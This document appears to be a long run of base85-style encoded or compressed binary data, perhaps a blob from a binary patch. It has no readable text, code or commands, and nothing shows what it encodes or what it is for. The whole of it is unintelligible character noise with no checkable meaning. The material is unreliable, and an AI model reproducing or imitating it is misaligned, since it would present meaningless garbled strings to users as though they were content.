z*JZ+7MgSZ$PbN&pZhAEQ4<8o@CM#4k|A~V~w#iVHb4=Gtf5|Q;&eXfJ3oR60V6z8Z zG$~({T?|gyUA4L$c**X=Fx`>++(YezY>5I@%xsjDl=p)Hl=(8(%t=-LNzD8H&4vczZkMA@o%p;CmJY2{ErO*u5E zmK@5cEr;eg$)OE(%3L8 zX(n&jA&z&)ip2R&ok_ZtS$YYxxV2flq-or!x7Q`Bb;In8zV(eBjde$L`?Aws1$E0F zt>$c&tuNr6QcEJ>U8*R{dfOCf@rR@iYbxZufXUVWc27^Qpo6UpRwBobEV7Io!zH@j2UFcu|y-|)Vuhdx7o&JIyiPuAvBe&60kk5Jtq+q44R&Y*6(XQCk0k9PxK8DAL3 z@@!M74W-&wwfCah13Gr8}sM4R8DEP9qI3srkklJ>oHf zy~_6fD~TS-Mvqh-Ufq?csFWCH^cYoKiL7+$cltQ|H!a6$QeSskA_v+WTR<77zQTW{ z=k`+1cNzP=vfXd|oU+&+&-N#Z=uTya6d2digHR)WYJ-GF#`Fn*x@S6nHIe6S;_%E< zX^p2e0pjQmoY(=%>@ud=6M2X>vQxlz?uGpGSdR zMaVRM2`{^lQublYN+OjUzltX=qr_dPK}jS6k6+Id*A|w{9$g@fLY=X@zHYznY)1P^ z7{4a7F^zk){W`7jk<3z`l3Qz>Nj|M8w15z`_Zoj7FH?8GcJwRV=mM~U9?u4B`BYyd zT4rscX8BngL^*jhe2Ub@d?NE$s=+vw+*XNlwfAwd9n*pBMi+o-LA>Y0gOhep_xBse z@8-i$2FOQ$m|B{&pHki){ZBmcI4|}V-N?N#PC8wD$?H7vG9?O%zfCt?fL7Pv$rxg1 z)W6botc0G@(EST^0acB8+5QFeW~7BN&zOdgeU_KXm`5*AdRZ9vW_7WI9px`j_O+#K zU99kOFvr-3QRXfs5Hse{8^T##N*eu9%v!vU>7^!!>Pis=-bTEMDZL)t#m=}3+37vZ z{=A~nh*3p&7qg2d?+yx-(e3z<4EI8eO_(b>G*E;>l~Ae@nxur5E1}~EwMBVHR!T9& z^$-%cAO$yA31uoFI^ajNwoM6LK}eLXi&yzYst-Z}m!jb4FbR>mMhP8OLUaU~NUdol zmmPqRz>QIGbnKqM9aKWUDIqJxk#JH%+&J2Sl)+>iJz;+e@Y?*6mv~U*S!%ZJ*}UJ> zwgm{o{=CG)B_(ca7Ki;Qk`DV*Bo6yiB(5=ylZNW;q#LHyl}8O1k8#87(VmGV6g2j9Hh# z2*&j5_;0GMVF(M5+n7ZHW=ua%$q;Q>J;5A4N4taKJn=9bQ+v>BOb{KBLXnO-6GHktNGWCC$?Z;WHf zINH88nwrPjAXA7$CeY?PZa+UuM{TzG#!topVti?@O#B43pgMxDwn=DXs+fg-lAAk>Dn}SJch2g@+?tCSnsZYs*uI7#O|v(S&!<8& z9^*e1XGDM*92XEIxW)Fk?P*=eEBKNfd+2t;SC9-Gc~396H<_KLHu_5Lp*(!BmEtK$ zE@h!_B~zd!IiV)wkr)EJ5C4^1*FqxDP+w4!`P5qH`nsdk`;LtZ>D`fhPF+t&R5AuO zPp#_+Yxjz#8b7YGBkKk~;uZRp1tWzRH&Vjp*^te%<-c30l+{ zl~DWvN+@0lO;AEBln|XTB}&ja$HE-dP>fZGV!+ar&@?5Kql8WtE0A0Z@qKUoRUxy1svTM1oKLd?|UZQ5-wG3_Ga zT>c9_7(m^d?d}vkH!-vA{Wou7>9ern1+a+|3DIq0$K!+8o8(slnX$W4<_=BfbQF=( z{m)PAnBPrKw#(d+HbT^e&6c}CJ-M9Fj{tY1Mf8fLrU%*MS8qXs?ByiXnC4ZObT?7JybE zBfX4fi(g|q;y1SK9cm*|N;*N+QA(l-W-J{aUG{ds1`_X{=v4(qu}V+dy&sm!RZxTmV%RwK=H?!AsfHI z6#Nngjfx4Po{(^uA5|@vp#tA3B*t-O;v=qM`~(@ZBYXd9lFcWI>Xj}`6n*Z1CW?;X ztiTT+Go7vaa!x?%7tNLhAaN&Mdn~|pxb^|ktPoxtg+?J;7AoOvSe6vBWfK(KX$5y) z!4ajN;2wutzV?A3sCK&PA{nJH<)w|}&1UJX5x3x})CU}sVV0hWxO{Xp)w9AZ{VL*e zYcxyNh_^O7I$G}2E~KqeW(h|}OS42L1Ifn#*+R@tA&-hh(n$b9&d6#&mGCoJ&E>NU z^Wu}jvp@w=1zL<&#gat@WISr~UM^7toMus6LcnQcW^59Hwn-3aGGJ}2O0kh_0W8sW z+!t`a!u^4&9BZvg$62K1*sr*)EXuLkxV>dJBsaMop20Psw$WHS{&hYpkV}IG8t>gbqwjQ)-q@HIlt5=x`y$74Fki)F*o3a&J}i?#%YffEp8Xw9=L;W55S!aR=lqYRr*HN*pdu^ zCUibA^@DK41B@*xVZ{crkJ$x =)Y0Wr|>RHhEDuD)cdGR_R-28lD!Ol9K?+fG; zCr1-Ye8F=sP;f-MP)>)z=$)+pBhVMY8%=nstiQ7I&Np&?QsX-?vFbWBV4I!#geVmd|qUFujA!< z!dB7g=r*h|@{v^{D=42A&1u8?^b}pYj#IC_9f+q0--G_KeW3EUXtU5Rf`f6DE}>>I zteq;3EmyT+Q5NCsh=m&)XgPzmvJ!LUScJ~v)bEPGQMH2hZ6w-zGCB>JPL#!GS1k)^ z8jgO7Q{Audv^ExMRzuZP^%5=j<@`g&{olMv^%u&HtkS5TWTQ(<`!) za5P{Wz?ib{pdXHGnuhGF=Op1h@_GBS5l8I9fQJW|9^b!bhTz@R2BF z!w+&2IP#1H?hh$si;wHbxYAO{mN_W6h6;|B$D%A9)GX@rQgG16K6P;fZHS}OZM z!O@ag)ThGii26!MAsbd%!Btam4HO*lfhgNq!TBq=ehLmWm-2yHQX8}w7iDKFxGxpl zIt8~u!TqY>ZYj9u3hoaDS03CT#!*=c*)Td7T;Q50xONK8Q^9ppa3KmVTEWFBxUmW@ zQ^9?y;1(&kZ3-?=!JSZWKP$LW;55;{(o)EVxhgo~UqP$R3eI1_g)6vd1vgc}O;>PB z72I+Kw^_k$Q*b{kxHAfl4iy&tTP1}GeeZGLVfms%>qvpg3eePRED8J#v-B}gStYo7 zCs`4i&9wXhq?>w;qs_|KrAnpN$ZPaMy1Ca#eWL#S4!Dvk=T}j$Q9e(y&})>OKJpaE z-NiEe9lXW`7=-LKN^U2a#x`h~R#~!Z^$uR6m*g3IN+sC|OFQgPhiRxZiNE zF^~;WdEKDJVs}W05;vCk*d1n6|RMd!+!30=BZGXYN8QC+u#rsl1Mc$t5m54fiQT>%Slf_nXPe%3-8&h+v z(37c)o|$?wvd40bw^s$auL9^*=o#j6ysK3cHbXVZB882zwC4S!J`ovu@$oEyPzbM- zaAFKbcxW*^Z&|P|U2c5(Ev0b^Z${v#PVyQh7Uwj7pm>eMCJT5C;R>z*UJsd1#;z%4 z$rBP=Dx*||o=^mZ-c4EY&%fw!+;FbFZ>J@3S=@pFD@O zP-kqoRY?|OC3}5@p?7}ZjHt>pwMzD`2~(NpuVP^bgP6g3sfZusIXy@jSRZ(r)>s>m z7b?$BX?U!HZ-}O?c-@sPtuQ~eRnDqj7F&3q2^IAh9%n2c8VwyTHrPRncteEg`7>QO$v2(U?>0c% zvCIQ(inN`8T>*CiMgi^y91XY!a0cLBz}0{_`#1e3z{7yQ0m3^;zX$juAdwYnDZL#? ze;Tk4;2FSFz_Wlxz;l3K1D*%W1BADlPCmj_z`KAD?eu)Wn}B67t-k}3RYx1?V*u|1 z&IQZ|q-|OFMCoLa9|FDrglCj)jj4q9n_dU-1z;1JT6lUsfbf#iKL@l1%mpk7coI+z zm=9PAur%mq14!at8n7jxJ>YG?vVdfh$^p`pkxCMtBZY+LNFm`l3LJTk0!N;sz>()D zaHXY?@Eiq>JV%j_JV${e&r#sWa}+r890iU%M}b?e;Ap-Cj=V{c5A!AANWlmk=0L)c zhbeI6VT!V#n1lmuBpmsWBA=^*3sG=1@1ks+f=f_vpo}E4VKe z+#&^+r{MM|IPxY%edJAwc5f-T-xVA_nJeWhC55p1P;k{0+;s(aQ^BDUzJKWiC|_-* z0Hx7Io+$pf@g`4k6Yl0_`-@bD^0dZHXGn^x&{M?Gm2?gxJlysUsi;`RWQ@F#Lo0CF zSJyyERL9)}x9s)FJ)v^)!vNYW5UsrRAF8{ov{^uH$t}^20PP11Gbup*ChbgGBwoTF zgjS)k90DY&9|NTAuH%4YJP!lblJHIvzAoSq;Avlh^6MmgGr*&W6J4l0wL{N|#I7@i z#I7@iY}jW~sx6~^2!UIn;J#IG1q$w!f+HF|!My~xe9?i~6A+OJMKeim9_1yM>wsDM zbQmRkU>GSP-%hjiD@d20Ev-YSzFE2lch6~zSg#LbAw za>rRACy4{?u_-6*QPZKQ#6vVQ!bNJU>I28yhB&8)r8BkCx9Hvqp z_5+?2Hc~1pENs4Qe5an-&N#J2-xRFLt2tPYs-+2a;Zn4`=2g3k@F#^&g;%d}wNwRS z%E#hf43AMJib7uuo$3^RIOV@nkNn{=4m908kl)*Z{A4X|8{S4aj+-mtA|XQXS}jO8 z52Ig&YZ*_T57qE%KFJlBKT+~iDfSI7d)wi!)+oc+WR(qSuVUfAn&A$@Js9_R-1C87 zZgHSYI;cMd_d?ujaqqx=9QS1hE5370qDFkg&0l-&w9>6*plGCk23dE9WsaP4=n zhA`4DZlP~&gB8(2RcQ+=Rv))F?*6!kbIn{dm!_9RZ^4&dP_ zo|42c0~@Y-qFTe&TI?({!XbwDP4>xunI6uxqrnNlYylf#)c@^QQwlHSIQ?#y<*IR4&_=aHS6M+-E?38N@&r9-M zIOo`o#kIBUNGQH=m4p57DCLE8p-klUY9UY5heXKh;hvcNUo9po^FIeOY&!p>$msf- z&(%~YC@bcM+aGrV>KViNtZ?mY;Q8jLcH@~jjYsB-)h6RHU8^L(52#2p$!wBnv$1$5V;xdDM&7M3X}`d0|+>gHiM80}2<}NiAl2 z48pItdc~#}W9ihrQ-I{*`~uhu@GKy`b8-$a8E}IN>p8$nh?B>01&~DWD&SXA`Z~ZH zi01RB>+FdnDFvy`Y1qKz#xp>4$vE-j8$9uK)^D9IG}}g{nJYWRsgIG zSP5_`AhuJ|YnBB204@fs23QNW8+1!|2doLW8n6~%(^7b%1Lz4@7jO$;J;1g$Si=Jb z05$?V0@xU^J2qdjc26G&=mK~R&=oKOyy*^@3fK%VAFw%~MQOY)1vnP4HQ+SBHh^|z z@Z<;32#7b<)4vAv0IY+bXL$my00b@5e*n}2HV4yo1l$GK8Spe<7r<`dGVCFwp9c&8 zd;k~-m<-(*1b811bCF&eYN00}sfXTxWIFl))(7MC1?&j;A>cK@aKKoo;RwKufLQUS z=U`Ji25=&DR2<+Ez(Igo=)A#z3jh-V*8wI0)~}4`bbzY>4S?GLQvq94VJr=BC*Ux^ zUjT;#_WS^EBLV&lh&_<>-vDunV|rv&#y$qT3it`&W55i+r+_7^7qQKO{0G`Hw3fZ#rQV35PAYB3n8R8)u zY*)*;`U(!5D&=db;6fA}_(Cd+nUV5gP9z+tE8##_3HPmn`%b~_Rd5Ft+$jZjR>3_{ zaL*MS?SF`I(EbO7#1l4wtES*+(^KHuDY(uG&R@aNo`}dtdm^H~(F$&?f?KNKmMgf; z3T~T%qrDDMAMJIB`t%B}vx56l!7Wm7dlcLO1xNc8qCVQM5cSc1g}~8%g}{}7HWav0 zQV4WWaMctX?Y@b8t_rTRg7a5!{S;idf*YaW=r<;!-2)2lh=QYC3em;|1@~OR{h{D! zXHVpFkV1HqO~Ex#aIF+vI|bKA!Sz#cUn;mo3T}^rJD}h$D7Y&M?umkXuHY)eVu=1# zlR`GEiGp)gaGnZIui(m+gx2OVSWyaLYzTGWxCT}Rv|H%OPC3Q|2M&C&JycP_F=1)z7?*}Q=<*3a9re-MRZCEd{42S?#yfHjINi&8#1=s=XXGds4AFm2z7gh zG#(b~5!ept<-HTwcCzQSe$G1+kru<35$E9?(c<_K?}&liI9i0#i`v!U#A0IDIwa9f z0zJW`ci+}ZH#w80wEJ^sk{m^9h?=H`@xrLXRD~uqUITv|K&?_ocsKY9DDZ&rN>$-S zw9|s7a1!u}nYi#gKb`3LEnsaxEMC&x0oMZd0K|*-=}CYa0Y3%Y3b+H1^25VpI{~i) zZU-bnQk=#@^DlPADI|8qDP)5OU?SC)JU5=thM$!z^1V@T712|H`#=iWFw*C6Sx{fD z6tbb`2vWYwN$Ev{dn8xZ)bBhtE%{g0Qa>~Xvwo@SrbO_h;nm67mRgiGe;X?gQkK;e*K z1GVUD+SDg1`zvl*TZwCIN>XZ=t6NLVr~LRmE|KpA!0!X3>m=0I0EGYi&FnIg+~So{ z>~rDpU@5QYG1XD{k|${fEeN4vNokZ*Y~7KhV`~-rQwx>SGWF!r)agPEF_f1jDWsl~ zs>|eWGs+qyf~Ui)#af!K%UE@1@D*fXy@fM`3?@(fsDB`XJ>;G;lS&c;BTYcvpbXS~ z@s=5XRlFt8@n0U=>KOpt!Fd)svQ9x>>HEtoU6cXY}A&8fhYKt+5 zd^WVC;w5ZZfr6tJMOkw3L|H5mBpen860X03gF`Rj;7UvR#w$3uuM!T9tCY_UE{|vf z591`9Atf?2GA=nbI>itwzftTQNlR#L&34*=5S$fA8c~UOOK%-(^@))w!|`NQLHI-q zghymjLb7vQ)Xe@?DxAECM++V?(c!7iE-vJ%3ygDAN_1rEkZ25_p?g?7Hl<*Z%Q-4K zB5j~kFd@-hK}zDthpYwGUg{TnF!iC`4B`0niKcQY5REDtbYZO1Zi}#R5+* zHBc(0eybGG!BX`C|H&x0F21&cA+f_K2G!}ILL)g{T_yCpqbzpoeK`s9R{ILFz)Uy?ra!{Eik4!0RjdZV&8;c zzi#XY))%zE!#`;hl&7dBq5PJ3<4jzS?T0igEEOb`qC7=QRpO=OIp5BFFTm-soDfDR506$Jtyq|X6Hf{Y6ZDU9+TF%?E(%=pvnLQGV&A(GB>Pl--WN=Xe%2~Qjt9T^)PIXEUf zElE4iAx<0o<&gat{yrXLwf{1&mzPK9E`j7m$3#ARWjU6H}v8 z5~8Ex!c(I|BjS^W#>5$7os%L4VTIGyfoX{o$#a^CrIQT(<04a%3`sGm+WOraXakc| z;}YUV#3c^YdPCF4#Ye+wqCO^|v*oZ~l&Xk(VE4|Q!h$$5ttc`WTVN#}oH^3Fd!L{l zVS!z-iWMjeCQt!^LGaK8&Qij44(RFW*V!kmtG-Wg=e~MYO-jd`3cMOQy?bCtfKM=X z?@Bw=QJR*=iywf(h?QY#2V(!U_@u;v&E3(w+Mze{8p30uQ^H^n!cwt_R`c@lsgYsA z^zgDNami%Xs6;eMqz+9YGEx~{E3Kka$Zn#BQphs_+>n~UlWHPqXk=`73X-S;5h$J# z*^C#pM?4Ji!G`GQD2{OerXOKq!$*V*6ctJarH6!v#m8a$kqY%i7NysqtlFU$6$&?` zCB!M63IPh^R^q{kr$jdA@zN+#7Cj3~iittTY!TguJ{wZQ>Fr;&!vY#WTtc)VIa<&y zh!=KK3e&K{;u4ckxE%8PBUvFfQH3bw3uIza^x){EL|%@1ejF8t`A1Mg(PAubV@gn- z_@v12c%r8xO3}_^@bH9$=+uip3 zj0%sAS4wsOQuZe}l1R9pnx&34caKA1>TPSD&yXsni)JDf)nnV251b0Mq&^V;BrEl} z1C@{#pBg8qRRg)`y+OF^aG#`M(V9CfIV~bSE)tsiZ!*w?xS~=_rcP;vWHl^|=BT;5 zG=t^PO2^KAdfs&+Yl5INlBtTusA5=ZbhuJQ10cc^(<0&okH~~J6d^Qm3bD7u-4vy! zsbSPBr$R`EAWE~okj5(W4y25iAY5D$Z7`F7X((z+j^v~`Qd5S%NkzMlano}={9y^) zc?3<(eI-ou5jN+Mam!}lM>^S-bamw)TsAUk68(_ zuL=#r4WXp)-$&=(qZCMjB{p-y45D{wCLSOR!Jm16rW@9>LB@u)Qx6xdQ*=bKwjDrR zvXEs@$z`;QB1o!rnODs8E4!Yh7%HKA%9uNq6`f4^?D<}O-m zZrYl2N_cQ|cuHifDMgDAkjVSr5m1cM-L%<%GKb1kxV^u*P^wbMqkDgo@fVdVbFWio zgYmTpZFgHUKZm7oEjA(Sid#HrqL2-KB8#6~a@+|iWW#)6vuW9E%lxE}cvB&Tl`nsF zz~rAU^woKOHGTQ&ha*2)j127kt;0-~ZqCV35$xduSysi@yeln2bKQ8w{{Lmt%^-Dj<%cFsUV}kMf2(R$bb)8X6{I>l2KrvT0U$O ztv1cRtfo6KF#`@H!(-!Y|GU|GJi)%%bE2n8_q5GEjXodA9aR+Culo^L3LQ7N@hh2tiAsoLo6j3GBs7*!iT;ho=Ug-?Zt+(b9Ctuyvo zWvAt5yzot#gwJ>Dc5J4nP1`A(@#UkX83k%hh8@PR*Qdl|=7DI+lZiQ2=<5%(Ss^`K zpQwKv93;Lcho|L_Cl0~Wa{Uv~2p<#Y=W0Eb19a{S$2`vtc#OOSa{PrHc*z6V0RJI*^OtQ{W$aZ`Gv8z+6nUF% z@kv6=d*&Ntz{AgCGT;S;%%@2Gy!cdn4gIwy7q3ZlQE77fTIF3<+veeOx`Jxx@6fUiAM$?nr!5;p)Mh<5ZG3OW3wzCkN3Y+!F&@Lz=w|zXI=ZnQ_-{OvcdJsC zhJbxmpo*Y6E6@UD0y@x&An+v!sx@RJw(Z-U#A z^O{Jd-A7NJO57<@0}&FbJrELH+eb+yE;C`Iqs6j{#D>R;O_aIpc=4&=ve9^hM@>7_ zn%pXyTrY52mlDK4_zts|g&eSy16I2EL^hf8tmQyS9?*>^YL4C87XR@%*D1zBZ~QSO z_QsQ7C$I@(_~W5w=6iV z3#x=j6)Ptf<+d|_)J%R%OgGw&#z1VgKdY0a#A*BS1=(9_`f6+^EAdg;P9?-gWjk4e z$HGd24J9^nR9Jm;B->GIMeyF z%H@0v$(FTRmRfS$bwPt!FPzoc@d0;l)U2-`TJCtuV=+Cp$J^a<-`HT)jtfDf4s7^& zT!)IKI&C=fbA``8csV@#Yg^Y7t2SJkbuQ(PrW-F+IsW^aE1PDFsXItNWz?40A2)u` zY4#$gXYo^Wu0B+$E4-SNd0HD685hv&qs6a#FB#Kr+T+Qo(@Xcxos`o1i1DL)UCMt_ zZAp)j8~XI!+3IJPdF2K?Y*>5ki9Pw51L{{A?s@Qj%X6F7o*zD`Or_QXjAiD>xBsmA z+PtCVf2r5ib=%pdYlaO79T4)UPRNZfR)(yInC08c!|`V1pjHP%a_v_(bPqke{^(6l zhc)ASESh#JWt4;Cy_|+ylOp@=S>EWWYo*i*?L&`NpZ4io-Ih~pLXSDcj}3MkF?9U& z`m=l|w^_5f>);P={;+#m&H6EiOPvm%y1eGg0joy&x~1Rk*RS8W`|Hv&Z&}o?dp_%f z=sRQEXV>1dYR1V&NeP-(UXL?A@v(Kb(vDlwC4YZh|G72hd&TapIVb+s)9`tA1M{;^ zuKaOfw?VN@dz`NSjb_GTUAL9-w)YdSw;53`D8J2?Sq)!~sTTcU(Gb;|R_*&7jL9nF z{YmBV_a>}gkfh(Wblm9e{f%u-rzKrBX!9}`_*C)udQe`^h!rOTtcP}Jo^t8+2kk88 zdO7`ayoGOBo8u>MYtGHx@u2g8l;DyhKbW0r9)=`ydMcfA=?f3MrXRfdqj32W_P2)mEX|jujh|BzP`qTM*e5dO`kP&%C{d)T77%r&(j7UKQZa}W#sO?r9t>Ex(JWgnK^l$BLAzx0%a{Z|K8-8DIO>Vsn^R_86tsZ^_J)1ej1Y=7M( z?e?M?7DmnCg}>fRP1;9Jp-##>?gY7~5v|s58q}{}}UCScMWpr>8p_ z4o@5ESfysPcJ+<%FE$K);?-l{v1VVsv|DrJ&cf{WBTs(dd8+f6>fbggQ-}4>`AGXc zi>+QvfOcGch>EL@(qILbm*lyb$##LtwWX!Xv9))jNOp5MP1|82fYU0 zo$;{znbHkwMn~r6KHvPCa|!o1Q9U#F^lP#UM=Mo-%GutKjEXIrl=Z5NbpRikSDn;d3Q<%!+5-=%J7+j~StoozKsoqt|#>WQaK zmya@Za{EHn=}E1zzy8|#{Mnr?+=pz~|ILL*b2^6mEH7huT+@Ev{=1&l)0WIW((-E4 zGPm0-`aa#wHK%>0mc||d>dgs(mZiOtez3B6I;HHU#=}R=bV^w}yyu$iHCt;8opaG% zJ?%`{Z;d(59gdx^ky19q>7&8UH!f5O`t-=S1(iDW9#QeEI(6%u1zRVK?s}{B-4SE!LdsBE|0(G4xw7eN=Uw=Oro;L=AS z0j~C^hOQbrx3WXngPzT-2Jc(^OPfj#ZA&e6>ht@J$q!$=d@!@|4_oFZwk=;hS$}Q( zx};mTZTgoPpVP2?->SdW82ZAxUBKq^(G4`!ew%$NyM20{{W0B#9q@A=lw&_{OPTU} zhuyyVMR40!OCL9}ss2sCvxn^(Rco%P+p6+_;X5mddb6o9(LEra{cIzAKk+Z&G+n;aEcYU_0=8np? zJ?73{820Iy+0Ujg8{IBqPF9P8p-ryM44d}5!`QO16&hqUD|4#GjeUzQU7Rs{OYdPz z$35v4nNsV6H@hYr_49cY5D`v)4WR_xi65ZAaZZ zGUX)k>?r=MUPZ zJCE?0Kh9mhtHi*c|2QzedYO~w4Cjtyh1d^28#d6xd*HQb_uYF=w`~8>{DS)Jv~Lm~ z{8qDl`7Z6&PHwc|+Kp$cGtR~KZFlRL$Jj5b*7bYp-XQLaXWH_f&wjEP;yn2A)>!t{ zPaip{e;V{ytK0a~M(;J@EXet3tLh!~PBT*jYdU&l8GoquYP$cLsT*dTyzn?#-*jQj z-BMeB$eg*&@_53kkF7Efx#rZnGsCmhA0an7)j2!I=HSXY!-DERZeSIBc6?)-mkGJI zA{@`hvN+#gmh31KdvD^RdSAWn5IAA=r#G!HPuP%q>hXwC)sL>Y8`k3F?8U>5dNmyE z(QN)}?dHr!XIB2w>Yg#6Y@25<4pi$|DWR)t%;LJ=&AfIy^+jT9H}4NGJp0Wv_N8{% z!GI?=FK6bwKE0}^hrZr)-z}|M2Zww*F+;m?`QX=Gr_VUPb>Om)-gC+?ifpj_umADF`JNxI z*>~^2^OBkxR-Q|Sck-y1nAPu2w=lO8JLdj8IdAL3sAdkH?!!jb88ENmfW`r%IEEM5w=ckYHi+rugq89WzH_W<;DcNl#BJB zebq!itnBgskG(g6tEp@M#?NVzQyM5j2$`pJGEdE+kyNH66+(jsb3~%!lzA31XPz_D zKp8>^nP)PG5TgJ0+H0TP=zcxVbN`;-`+olS_33n7`&!qU*IsMwwb%ZxpNkJI8KxfL zoA){MMbL&`{l52%nBC;(>a@CX-9K6Q*h#{QTCdn17}UAL&w~7+cdI5A+UJ*e(c=NtEv;u&t11b6qj{_O ztL@jFM(p5(wrcvtR;6_&Pc-mUwenwQ_-Y5mW8A3MGe%TGNa zo1OM;xNF$l{b$`ih95X`tI*cF@#{%5AJmag)EYJO@e;2Ea|Z<4274SZTHtm)*5SU= zxko!Rj%2CMIM#DmqVAflVc|(NryZ(%ck9D-m0Jy$+M1qLsy8q<_GDh=MhPo=>--9= zQ>WXJS`RjE($M}mYn}gxkxip+AG-TXt&_*9OOMy}op#Y#JVe*!dz9Li(+8Cjnq)n% z(j>NErNyisNi^|(3%E>(W28Wba*V&6>?(#d$r!YN)MPi7ri?HF=kP)e=B!)vZh zaO?N>;HEx$5|e z)pK>P>xXKenrhhU#^lqYjM24Y582FLSO4VRz<3i2HH2btIwJ(;c%M?i}mX%*FQT*4)NRcBniVax(Aw_jN1#v>Np|_PtMoce7R= zPL(BpX>Dw^O}Xx-jaeV#k9sFZIgWa{%0>U#yc>gjkA7R(a>u-G;DW0`w_Ri;(S1o$hz01I#^ItBzX}0Fpp}dxTieR% zai_24W_omK+HCmsf~KvjOPP}M&gkRQ{?d!6!$JYQA) zHLugwd(7|prdE?>%`0`@x+i!rW|GDO;yN#RPl7@f&>9%)ZtEpZ@e$y-p^Li{=@56sw}Zxx&L0Wjqm0AWBTtpYh-xu z>&Zdpas6vg6JO0d_T<3msiW54vnd+T*;>-B`}K@B*@Aq9*hsW6kbv@<1 zOoIKyOMMQVGi`J3XuX7~XAK{Ixsq`_O;>z5V_WXJUbE-dT6w}b`@;R(Ssiant~XEX zq&%Yig7hhEzr{JX*!%F%fHhw`ANy=oRP*}Bc$-^IS~ggAs(Ima{jr4$v>WL!Ugf>$ z+4tA+NtXurCZ=9VJX&=~rIaMiQL0b;T(0U^ZdAUY75L_1mpjX=pG;Wp;QMldsp*n> zYacAU_OOLn!nL{|$I2|iB(-DBHrN}DJ$WX_bX;28+IA0Gw^^~uE=c2foexj6``vbU zwjk$r-OCe)T?(4o{o?Sw2Gv#TwETJI>b#jN8vOX;@u}hGhT}{(w{4fWNa^SG zI}W}MAGoZ2^}x)~t1%0QExn)B>&W!l^IaVD+|$RN$Vh)K(VJwdmi5SH<>ZfPKV7$- z6KN+7dwiL?Oc%zO- z$6d1hdS>13@k57(8#(>D5S?gZIh;M`{pn>wP(%PIX{%1j!F}Md-VE-e?j*A zg!_Xxw`x?m$J*!WsixjehXy?!f9c7Cc^=P0(mK<+1by*9c#Uk|y&Cp#ur&+%dV}qu zXUo#G-l4`FAVO<1YTP0**{X5hlzfI{jGuzA7RM2mTRCD_DD3-_56~>Zuk7cW3P0pw zov>^Ysd%^Yf7O8v9q}n6rIR4Cv24tL(%7Gu7<3ku6FabhBz9l})8z?04_L(u7F4WRr9@s#8k9;^Ep4e?v{mBhqjpLy z7Em2H3&0=Pwk(ihPsQK!m4l{YAN0|i79eY2J0A;fICotfl%lYys7gZMVjB`Dg!4!F z0LB7nEPpK)CDSDmr^rJ9cby=n4+9%;G99eIJ~!UPU7L%QP?W{)bO->0%bLl#M|18~ z@wG6$I8s2~5T`GMxw_))6jjDul=xVX;A4DB!-Jw2{{kK~h7XPy)w2<@NZ%4o;q@8# z#*OM8tMrkLz_B17X$g*{_sF5(fJ%s@;(QFA4E_W>3;ZegHSlNP^qmUYRb(dkD{$C| zUW5Mve*;eK>Mb}`0~Pas2R_phu~Tds1YN>OIG;k$1qeEVnP7GVGeMGsKs$IHy#`~t zy@C#q7`!e;(47%P6_9ehu)WyS$`3^&(8e&K*MSm2#(EgngmL`h3)ODfhCyNG-%)wii*P3BanNHNWXa z6raRUCqPZP)Tu437a18!4^@Oe955vWL?RF4dDLfD5K^Zc$uM zaTxD173t}~rBA(7??S+P^onH}=VvVE#|M7yVKAZiDIeI}2$}{h?U(*fdY*p?n0PrC zE&E4pgL)on7O}h@P%e?w?C>T!vOYNOG_L2tt7Wd|A;6n4(60tx51s%{#kLOo9QbNwgE3Mn$|NkEFJ_2b`*o(!zQolGxT1k{FOL)4k>G zBm^VH`CvytFuN)Uo!RN~l7wKJcwK8jM?Dd6Di#NRg14^-f|qjvOusDCfWDEZ#^ZOqvClBcA)6NOEDwIX4n;#N@+s4I1` z)Q!sVqpq@|wxH;`ITIYLQx3>g0fOqvS!CgWC_NllWiC1+QWD0Dl9O5rkgAK38IFWd zAj6hG|D%?w3yWc#Rbx!`w1w0adoBy&Y6j%D?z)5+C}sdL1iVOK`c#!DQYB6CM|{}B zGED`HN>&<(ktP(G&j&=l7J&E_g&>q60;4ojK`}B@DxT@mxXotY7dgjPsOXY2VFt28 zSe$^EA`Z-gw;MxML89&l@sRE5~6 z7}*XSyAmT^z`KHbfm?u&2FEBB83G;-9tn=IDw6KOUf{Il&k4K|!tMty0UrQf3w$6r zjdh;jRE=KX_Tb*&!QjKdSAq`*$5<^I0gf@61M=GsJ{s3FQjGz}{Drft1RjQKnm15- z+JI9$)Z(k)$Hr}v*tkuSMD&z*)!>eYX1W4FSIA2ef_UUYq0=CkgrkQ9T`NI{obz^$ zf)2Unb;vI#NeC*C*Ub=gfb-*Zly{bv&4O;5prg^6<>Q>7qtTk_?g_e|f{x0Fg-4?` zv!i~N>1ecOx>ka&m!NYLbe@9FThL7ubOcYw!iy7h3k2OJLAO=Voe^~B1YHe`1|}$V z4N+}gl8Bl@qOnXv)RLDZqIgIw%?Z3zymn#?TLp2Qzv2SC> z0){jGGhI9{NkqT-U;vXD0o0}x!cB0Pp!X>j`MHna^goAkL*J__N*S2|mHbkj%I9B0 zx$)M?KsSX(#F0t~4&;Xt$RSk1%3|vAXdmFz3r{U+v}4qe=c*zjgjCWOrBqo={R+*z zOh!eb`&9Un^1jr{`J#EEG7!0$FVjx>X~n*J@xCgR^F@QbvRF|zA$`m+Iw|6!o|j0y zoG(h(@9=5@IX{$&viYJFG-a^`{l`yd=o1uyBCZJDmxTE$@f|mPbFD1igZqMVSkKv@ zH*X3yj~B@XWmp2;hDwiDi@;ixHoiL18oUSr7dScE2(AEL-PP&?BGAS5HV~VlGe~aj;K_Lj&lF$ zpF%@E8IcAkE*RV~_k=lx$Dz1j{4c5T;=jEf2`yL7BBpW0*-i>g$#3duT2qYBqWdWU zo>*$=6e&hzgSseDgS5ba_RPDNMrhGTsS%M)X=ZwCiUJ9~$o1SCU`@)d_%0ho(~&|ErpFcRqh zgyv#uCT%a}tO?DfCWq#79}@~kYEqzz&|DM{=*$BDD?oEujGL?ldZts<0fDGRoBsyQ z#fxt562#e+xYx;vdfc03?J7WXxrT1(KI{k*o5&774h5ye2uk{K_>ISQ=eM-w8ARhq zMRpUR?}Mku^Y{_{&W=XA)^#`&;a^4J(G6?%2X-_sY6rV3ye$Tc3ej8+AfNAHv!OkU zmdeRoWL^&CW;X(O37h5In^Lw~&ZV!!_(mZNM)|$LqEt@{7M>M_R{@$!A@tAT_}H4+ zaq(7Q_YfIwYJ*XSDgs1(Z$;se-5l7A;-?kAvvWWn_Xai{9k}4Q(XpcNl2IWGVbj-@ z*%7PAj>fn7?to`UnOIz2W948g3|d1W#-? zT#^*{jh=%XOS0GV4yv_CuHE5F92lwYc{@Ypzab(!08 znX3u_aB6l*4bvY|5&n&bv?%(^)D8eIu;f5N0QFE5*H;BV4}}1Ck)DO{Qz87~1ewE$ 